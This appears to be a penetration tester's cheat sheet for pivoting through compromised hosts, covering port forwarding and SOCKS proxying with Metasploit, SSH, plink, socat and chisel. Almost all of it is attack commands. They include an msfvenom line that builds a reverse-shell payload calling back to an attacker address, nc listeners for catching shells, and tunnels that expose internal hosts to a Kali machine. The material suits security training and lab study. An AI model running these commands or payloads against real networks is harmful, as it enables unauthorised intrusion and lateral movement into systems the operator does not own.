pivoting

PORT FORWARDING "port to port":

----MSF----
Most platforms

Forward:
Get meterpreter session on one of the dual homed machines

```
portfwd add -l 4445 -p 4443 -r 10.1.1.1
```

Use -R to make it reverse

----SSH----
For Linux

~C "if you already have an SSH session"

```
-R 8081:172.24.0.2:80 (on my Kali machine listen on 8081, get it from 172.24.0.2:80)
<KALI 10.1.1.1>:8081<------------<REMOTE 172.24.0.2>:80
```

Now you can access 172.24.0.2:80, which you didn't have direct access to

```
-L 8083:127.0.0.1:8084 (on your machine listen on 8083, send it to my Kali machine on 8084)
<KALI 127.0.0.1>:8084<------------<REMOTE 10.1.1.230>:8083<------------<REMOTE X.X.X.X>:XXXX
```

run nc on port 8084, and if 10.1.1.230:8083 receives a reverse shell, you will get it

For reverse shell:

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.230 LPORT=8083 -f exe -o shell
```

Run it on 2nd remote target to get a shell on Kali

Or if you didn't have an SSH session, then SSH to your Kali from target machine:
On Kali: service ssh start "add a user, give it /bin/false in /etc/passwd"

```
ssh - -R 12345:192.168.122.228:5986 test@10.1.1.1
```

---PLINK----
Just like SSH, on Windows
service ssh start , and transfer /usr/share/windows-binaries/plink.exe to the target machine
On Target:

```
plink.exe 10.1.1.1 -P 22 -C -N -L 0.0.0.0:4445:10.1.1.1:4443 -l KALIUSER -pw PASS
```

---SOCAT----
For linux

Forward your 8083 to 62.41.90.2:443

```
./socat TCP4-LISTEN:8083,fork TCP4:62.41.90.2:443
```

---CHISEL----
Most platforms
Remote static tunnels "port to port":

On Kali "reverse proxy listener":

```
./chisel server -p 8000 -reverse
```

General command:

```
./chisel client <YOUR IP>:<YOUR CHISEL SERVER PORT> L/R:[YOUR LOCAL IP]:<TUNNEL LISTENING PORT>:<TUNNEL TARGET>:<TUNNEL
```

Remote tunnels "access IP:PORT you couldn't access before":
On Target:

```
./chisel client 10.1.1.1:8000 R:127.0.0.1:8001:172.19.0.3:80
```

Local tunnels "listen on the target for something, and send it to us":
On Target:

```
./chisel client 10.1.1.1:8000 9001:127.0.0.1:8003
```

DYNAMIC "port to any":
setup proxychains with socks5 on 127.0.0.1:1080

Or set up socks5 proxy on firefox

For nmap use -Pn -sT or use tcp scanner in msf

----MSF----

Most platforms

Get meterpreter session on one of the dual homed machines

Auto route to 10.1.1.0 (multi/manage/autoroute)

Start socks proxy (auxiliary/server/socks4a)

(portscan once created route)

```
use auxilliary/scanner/portscan/tcp
set RHOSTS IP (pivoting onto thats not part of arpscan you ran)
```

(if a machine has port 80 and webports, to check it through out machine we have to create a portworward)

```
portfwd add -l 8001 -p 80 -r IP
```

(then go to 127.0.0.1:8001)

----SSH----

For Linux

```
-D1080
```

---PLINK---

Just like SSH, on Windows

On Target: `plink.exe 10.1.1.1 -P 22 -C -N -D 1080 -l KALIUSER -pw PASS`

---CHISEL----

Most platforms

On Kali:

```
./chisel server -p 8000 -reverse
```

On Target:

```
./chisel client 10.1.1.1:8000 R:8001:127.0.0.1:1080
./chisel server -p 8001 --socks5
```

On Kali:

```
./chisel client 127.0.0.1:8001 socks
```